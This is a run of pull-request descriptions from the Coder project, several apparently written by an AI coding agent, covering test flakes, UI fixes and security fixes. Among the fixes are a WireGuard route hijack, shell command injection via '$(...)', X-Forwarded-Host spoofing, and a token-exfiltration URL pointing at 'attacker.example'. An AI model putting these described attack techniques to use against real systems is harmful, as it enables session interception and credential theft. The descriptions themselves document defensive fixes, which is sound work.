100 consecutive local runs with the change.
</details>
*This PR was generated by Coder Agents on behalf of @jscottmiller.*
Fixes a flake in `TestWorkspaceBuildStatus` where the test asserted an
exact audit log count immediately after the stop build completed:
```
workspacebuilds_test.go:1261: Error: "[...]" should have 7 item(s), but has 6
```
The audit log for a workspace build is exported asynchronously relative
to what `AwaitWorkspaceBuildJobCompleted` observes, so the strict
`require.Len` could run before the stop log was recorded. The assertion
now polls with `require.Eventually` until the expected log count and
stop action appear, matching the existing poll pattern in the file.
Also fixes the same race in
`TestWorkspaceDormant/StartWakesUpDormantWorkspace`
(`workspaces_test.go`), flagged during review as a sibling risk: its
exact `require.Len(t, auditor.AuditLogs(), 2)` after build completion is
now an equivalent `require.Eventually` poll.
Verified with `go test ./coderd -run TestWorkspaceBuildStatus -count=10`
and `go test ./coderd -run
'TestWorkspaceDormant/StartWakesUpDormantWorkspace' -count=5`.
Closes https://github.com/coder/internal/issues/1565 (PLAT-304).
🤖 Generated by Coder Agents on behalf of @jscottmiller
`AgentCoordinateeAuth.Authorize` validated every prefix in
`upd.Node.Addresses` (each must be a `/128` derived from the
authenticating agent's own UUID) but applied no equivalent check to
`upd.Node.AllowedIps`. Because `AllowedIPs` are installed verbatim into
the WireGuard peer config (`tailnet/configmaps.go`) and WireGuard
routing is driven by `AllowedIPs`, a malicious agent could advertise a
victim agent's `/128` and become an eligible route for that IP. With
`ServerTailnet` tunneling to many agents and routing by destination IP,
this could let an attacker intercept sessions intended for the victim
workspace.
This applies the same UUID-derivation validation to `AllowedIps` that
already guards `Addresses`, extracted into a shared
`authorizeNodePrefixes` helper. The check is the single chokepoint used
by both the in-memory coordinator (`tailnet/coordinator.go`) and the
Postgres coordinator (`enterprise/tailnet/connio.go`), so one fix covers
both. Legitimate agents are unaffected: an agent's `AllowedIPs` is a
clone of its `Addresses` (`tailnet/node.go`), which are already
UUID-derived `/128`s.
Fixes PLAT-264 (SEC-89): https://linear.app/codercom/issue/PLAT-264
<details>
<summary>Implementation notes and decision log</summary>
### Root cause
Asymmetric validation in `tailnet/tunnel.go`: `Addresses` were bound to
the agent's UUID, but `AllowedIps` were trusted as-is and propagated
into the WireGuard peer config, which drives routing.
### Why the fix is safe for legitimate agents
- `tailnet/node.go` builds the node with `AllowedIPs:
slices.Clone(u.addresses)`, identical to `Addresses`.
- `agent/agent.go` sets those addresses to
`TailscaleServicePrefix.PrefixFromUUID(agentID)` and
`CoderServicePrefix.PrefixFromUUID(agentID)` (both `/128`,
UUID-derived).
- The existing `Addresses` check already accepts exactly those prefixes
plus the legacy workspace agent IP, so identical validation of
`AllowedIPs` passes for real traffic and only rejects forged prefixes.
### Coverage: one method, both coordinators
`AgentCoordinateeAuth.Authorize` is the shared auth path. A failed
`Authorize` is wrapped as `AuthorizationError{Wrapped: err}` and closes
the agent's response stream.
### Tests
- `tailnet/tunnel_internal_test.go`: fast unit tests on `Authorize`
(valid AllowedIPs accepted; foreign `/128` rejected with
`InvalidNodeAddressError`; wrong-bits rejected with
`InvalidAddressBitsError`).
- `tailnet/coordinator_test.go`: in-memory coordinator closes the agent
stream on a forged `AllowedIp`.
- `enterprise/tailnet/pgcoord_test.go`: same regression for the Postgres
coordinator.
Verified the regression tests fail when the new `AllowedIps` check is
disabled, then pass with it enabled. Local validation: targeted tests
(in-memory, internal, and Postgres-backed enterprise), plus `make
pre-commit` (gen/fmt/lint/build) passing.
</details>
> Generated by Coder Agents on behalf of @f0ssel.
commandEnvExecer.prepare rebuilt commands into a single shell string
using `fmt.Sprintf("%q", arg)`, which produces Go string literals, not
shell-quoted tokens. Go's %q does not escape `$`, backticks, or other
metacharacters that remain active inside double quotes, so an argument
such as `$(...)` was evaluated by the shell as command substitution.
Arguments flow from devcontainer config and workspace-folder, making
this exploitable.
Pass the command to the shell as positional parameters and run `"$@"` so
the shell forwards argv verbatim without re-parsing it.
The Windows previous handling is not required because Coder doesn't
support devcontainers on Windows, so it is removed.
## Summary
Adds a `cherry-pick/v<version>` label to the cherry-pick PRs that the
`Cherry-pick to release` workflow creates automatically, so cherry-picks
for a specific release can be filtered and identified easily (for
example
`cherry-pick/v2.31`).
## Changes
- Compute `CHERRY_PICK_LABEL="cherry-pick/v${VERSION}"` from the
resolved
release branch.
- Create the label on demand with `gh label create --force` so the
workflow stays idempotent across re-runs and concurrent runs, and works
even when the label does not exist yet.
- Apply the label at PR creation via `gh pr create --label`.
- Grant `issues: write` permission, required to create the label.
- Document the new label convention in the workflow header.
## Notes
The version is derived from the existing release-branch resolution
(`release/2.X` -> `2.X`), so no new configuration is required. The label
name uses a `v` prefix to match the requested `cherry-pick/vX.YZ`
format.
<details>
<summary>Implementation context</summary>
The label is created before the existing-PR idempotency check and
applied
in the same `gh pr create` call already used for assignees/reviewers, so
it
fits the workflow's existing conventions (branch, title, body) without
changing control flow.
</details>
---
*This PR was created by Coder Agents on behalf of @dannykopping.*
Subdomain app routing derived the app identity from
httpapi.RequestHost, which returned the client-supplied
X-Forwarded-Host header verbatim. No middleware validated or stripped
that header, so a request from an untrusted peer could forge it. Since
the application_connect cookie is scoped to the wildcard apps domain,
JavaScript in a share=authenticated app could fetch() with a forged
X-Forwarded-Host pointing at a victim's owner-only app; coderd routed
and authorized the request as the victim and returned the private app
response same-origin to the attacker.
Replace RequestHost with httpmw.EffectiveHost, which honors
X-Forwarded-Host only when the original socket peer is a configured
trusted origin, otherwise falling back to the received Host header.
This ties host trust to the same RealIPConfig model already used for
X-Forwarded-For and -Proto. Wire it into HandleSubdomain for both
coderd and wsproxy, and log both the effective host and the raw
received_host.
Add coverage: EffectiveHost unit tests assert the trust decision uses
the socket peer rather than the spoofable forwarded client IP, and a
HandleSubdomain test confirms a forged X-Forwarded-Host from an
untrusted peer never reaches token resolution.
Refs: https://linear.app/codercom/issue/PLAT-259
`coder open app` substituted the user's session token into any external
workspace-app URL containing `$SESSION_TOKEN` before opening, letting a
malicious sub-agent exfiltrate the token via a URL like
`https://attacker.example/?t=$SESSION_TOKEN`.
Substitution is now restricted to URLs from top-level
(template-authored) agents. Sub-agent URLs that still contain
`$SESSION_TOKEN` are printed for the user to inspect and substitute
manually rather than opened automatically. Sub-agent URLs without the
placeholder are unaffected.
Fixes CODAGT-548
Adds two idempotent startup backfills run after `newAPI():
- `BackfillBedrockProviderType`: promotes `ai_providers` rows from
`type=anthropic` with Bedrock settings to `type=bedrock`.
- `BackfillChatModelConfigProviderStrings`: fixes stale
`chat_model_configs.provider = "anthropic"` strings on rows whose linked
provider was just promoted.
- `UpdateAIProvider` query now also writes the `type` column, so the
fix persists on any subsequent PATCH.
> 🤖 Generated by Claude with oversight from a human.
Previously, a suspended user authenticating via OIDC or GitHub OAuth was
silently issued a session cookie and redirected to the dashboard. The
very next API call (`/api/v2/users/me`) failed with `401` from the
suspended-user check in `httpmw.ExtractAPIKey`, the SPA treated the 401
as "signed out", and bounced the user back to `/login` with no
indication of why. The password login path does not have this bug
because `loginRequest` rejects suspended users *before* creating an API
key.
The shared `oauthLogin` handler in `coderd/userauth.go` only
special-cased the `dormant` status. Add a parallel check for `suspended`
that returns an `idpsync.HTTPError` with `RenderStaticPage: true`, so
the OIDC and GitHub callback handlers render an explanatory error page.
The GitHub device flow already clears `RenderStaticPage` for
`idpsync.HTTPError` responses, so it returns the same fields as JSON.
Returning from inside `db.InTx` rolls the transaction back, so no link
insert/update or IDP sync side-effects are persisted for a rejected
suspended user.
Closing https://github.com/coder/coder/issues/24614
<details>
<summary>Investigation notes</summary>
### Trace through the bug on `main`
1. `userOIDC` callback in `coderd/userauth.go` enters `oauthLogin`.
2. Inside the `db.InTx` closure, only `user.Status ==
database.UserStatusDormant` is special-cased (auto-activates). A
`suspended` user falls through and the transaction commits as-is.
3. `oauthLogin` then calls `api.createAPIKey(...)` and the session
cookie is set.
4. The handler issues `http.Redirect(rw, r, redirect,
http.StatusTemporaryRedirect)` to the post-login URL.
5. The SPA loads and calls `GET /api/v2/users/me`.
`httpmw.ExtractAPIKey` returns `401 "User is not active (status =
\"suspended\"). Contact an admin to reactivate your account."`
(`coderd/httpmw/apikey.go:685`).
6. `site/src/contexts/auth/RequireAuth.tsx` treats any `401` from
`/users/me` as "signed out" and redirects to `/login` without surfacing
the message body.
Verified by reverting the fix and re-running the new test: the OIDC
callback returns `307` (the bug) instead of the expected `403`.
### Why this placement
The new check is placed alongside the existing `Dormant` branch:
- It runs after the new-user creation block, so first-login signup is
unaffected (new users are always created `active`).
- Returning an `*idpsync.HTTPError` from inside `db.InTx` rolls the
transaction back, so no `user_links` insert/update or IDP sync is
persisted.
- `idpsync.HTTPError` with `RenderStaticPage: true` is already the
convention used by the OIDC and GitHub callbacks for "Email not
verified" and "Signups disabled" via `idpsync.IsHTTPError(err) ->
httpErr.Write(rw, r)`.
- `oauthLogin` is shared between OIDC and GitHub OAuth, so a single
change fixes both flows. The GitHub device-flow branch in
`userOAuth2Github` already clears `RenderStaticPage` for
`idpsync.HTTPError` and returns JSON, so device clients get the same
`403` with `Msg`/`Detail` fields.
### Test
`TestUserOIDC/OIDCSuspended` mirrors the existing `OIDCDormancy` test:
- Pre-seed a `database.User` with `LoginType: LoginTypeOIDC` and
`Status: UserStatusSuspended`.
- Drive the OIDC callback via `oidctest.FakeIDP.AttemptLogin`.
- Assert HTTP `403`, response body contains `"suspended"`, and the
user's DB status is unchanged.
### Out of scope
The issue mentions allowing admins to customize the suspension message
as an extra step. Not included; that would be a separate feature.
</details>
---
*This PR was created on behalf of @ericpaulsen by the Coder Agents AI
assistant.*
## Summary
Fixes [CODAGT-415](https://linear.app/codercom/issue/CODAGT-415).
Right-clicking selected text in the web terminal on Windows (and Linux)
showed
the browser's image actions ("Copy image", "Save image as") instead of
copy/paste. The terminal uses xterm.js with the canvas/WebGL renderer,
so the
underlying element is a `<canvas>`, which Chromium and Firefox treat as
an
image. xterm.js tries to retarget the menu by moving a hidden textarea
under
the cursor, but on Windows and Linux the browser's own non-native
context menu
locks onto the canvas before that workaround lands.
## Change
Wrap the terminal in the shared Radix `ContextMenu` so right-click shows
a
custom **Copy** / **Paste** menu instead of the browser default:
- **Copy** reuses the existing copy-on-select clipboard path
(`getSelection()`
+ `copyToClipboard`). It is disabled when there is no selection.
- **Paste** reads the clipboard and uses xterm's `paste()`, which
respects
bracketed-paste mode.
- The menu is gated to non-macOS (`disabled={isMac()}` on the trigger).
macOS
renders native context menus that already expose working copy/paste
across
Chrome, Firefox, and Safari, so its default is left untouched.
## Platform scope
| Platform | Behavior |
| --- | --- |
| Windows (Chromium / Firefox) | Custom Copy/Paste menu (fixes the bug)
|
| Linux (Chromium / Firefox) | Custom Copy/Paste menu |
| macOS (Chrome / Firefox / Safari) | Native menu preserved (already
works) |
## Testing
- `TerminalPage.test.tsx`: on non-macOS, right-click suppresses the
native menu
and shows the Copy/Paste menu; on macOS the native menu is preserved.
- `TerminalPage.stories.tsx`: new `RightClickMenu` story opens the menu
via a
`play` function for real-browser and visual coverage.
- `tsc`, `biome`, and `make pre-commit` (gen/fmt/lint/build) pass
locally.
<details>
<summary>Decision log</summary>
- The issue was originally reported as Windows-only. Hands-on testing
confirmed
macOS is not affected: Chrome, Firefox, and Safari on macOS all show a
working
copy/paste menu. The difference is the menu implementation: macOS uses
native
OS context menus (which pick up xterm's repositioned textarea), while
Chromium/Firefox on Windows and Linux draw their own menu that targets
the
`<canvas>` directly.
- Root cause is the canvas/WebGL renderer plus the unreliability of
xterm's
textarea-repositioning workaround on non-native menus, not the operating
system itself.
- A custom menu (rather than just `preventDefault`) was chosen so users
keep an
explicit copy/paste affordance on the affected platforms. A bare
`preventDefault` removes the menu entirely.
- Scope is gated to non-macOS to avoid regressing the working native
menu on
macOS. Rejected alternatives: suppressing/replacing on all platforms
(regresses
macOS), and Windows-only (misses Linux, which shares the same non-native
menu).
</details>
---
Generated by Coder Agents on behalf of @jaaydenh.